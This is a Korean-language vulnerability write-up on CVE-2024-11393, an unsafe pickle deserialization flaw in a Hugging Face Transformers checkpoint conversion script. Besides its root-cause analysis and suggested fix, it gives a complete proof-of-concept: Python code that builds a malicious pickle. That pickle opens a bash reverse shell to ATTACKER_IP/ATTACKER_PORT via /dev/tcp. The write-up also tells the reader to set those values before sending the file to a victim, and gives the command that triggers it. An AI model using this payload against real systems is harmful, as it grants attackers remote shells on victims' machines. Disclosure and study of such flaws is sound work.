
CVE-2024-11393에 대한 기술적 세부 정보 및 익스플로잇
취약점의 개요 및 영향:
이 취약점을 통해 공격자는 Hugging Face Transformers 저장소의 convert_maskformer_swin_to_pytorch.py 스크립트에 악성 maskformer resnet 체크포인트 파일을 제공하여 호스트 머신에서 임의 코드를 실행할 수 있습니다.
아무것도 모르는 사용자가 제3자의 maskformer resnet 체크포인트 파일을 사용하여 convert_maskformer_swin_to_pytorch.py 스크립트를 실행하면 피해자 시스템에서 원격 코드 실행(RCE)이 발생합니다.
취약한 제품
근본 원인 분석
취약점 상세 설명: 이 취약점은 신뢰할 수 없는 데이터의 안전하지 않은 역직렬화로 인해 발생합니다. 이 스크립트는 pickle.load를 사용하여 체크포인트 파일을 로드하므로 코드 실행에 취약합니다.
입력부터 취약 조건까지의 코드 흐름:
maskformer 모델을 다운로드합니다.convert_maskformer_swin_to_pytorch.py 스크립트를 실행하고 체크포인트 파일을 전달합니다.convert_maskformer_swin_to_pytorch.py 스크립트가 체크포인트 파일을 역직렬화하고 악성 코드를 실행합니다.주입 지점: 이 취약점은 pickle.load가 호출되는 지점에서 발생합니다.
GitHub 고정 링크: https://github.com/huggingface/transformers/blob/c8c8dffbe45ebef0a8dba4a51024e5e5e498596b/src/transformers/models/maskformer/convert_maskformer_swin_to_pytorch.py#L240
제안된 수정: 임의 코드 실행을 방지하려면 pickle.load를 yaml.safe_load(yaml_file) 또는 json.load로 대체하세요.
개념 증명 실행 지침:
malicious.pkl을 생성합니다:# exploit.py
import pickle
import os
class Exploit:
def __reduce__(self):
return (os.system, ('bash -i >& /dev/tcp/ATTACKER_IP/ATTACKER_PORT 0>&1',))
malicious_data = pickle.dumps(Exploit())
with open('malicious.pkl', 'wb') as f:
f.write(malicious_data)
print("Malicious pickle file created successfully.")
참고: 파일을 피해자에게 보내기 전에 ATTACKER_IP 및 ATTACKER_PORT를 변경하세요.
convert_maskformer_swin_to_pytorch.py 스크립트를 실행하고 malicious.pkl 파일을 --checkpoint_path에 전달합니다:> python convert_maskformer_swin_to_pytorch.py --checkpoint_path malicious.pkl --model_name maskformer-swin-tiny-ade --pytorch_dump_folder_path . --push_to_hub
참고:
pytorch_dump_folder_path는 임의의 디렉터리로 설정할 수 있으며,model_name은 임의의 모델일 수 있습니다.
소프트웨어 다운로드 링크:
https://github.com/huggingface/transformers/tree/main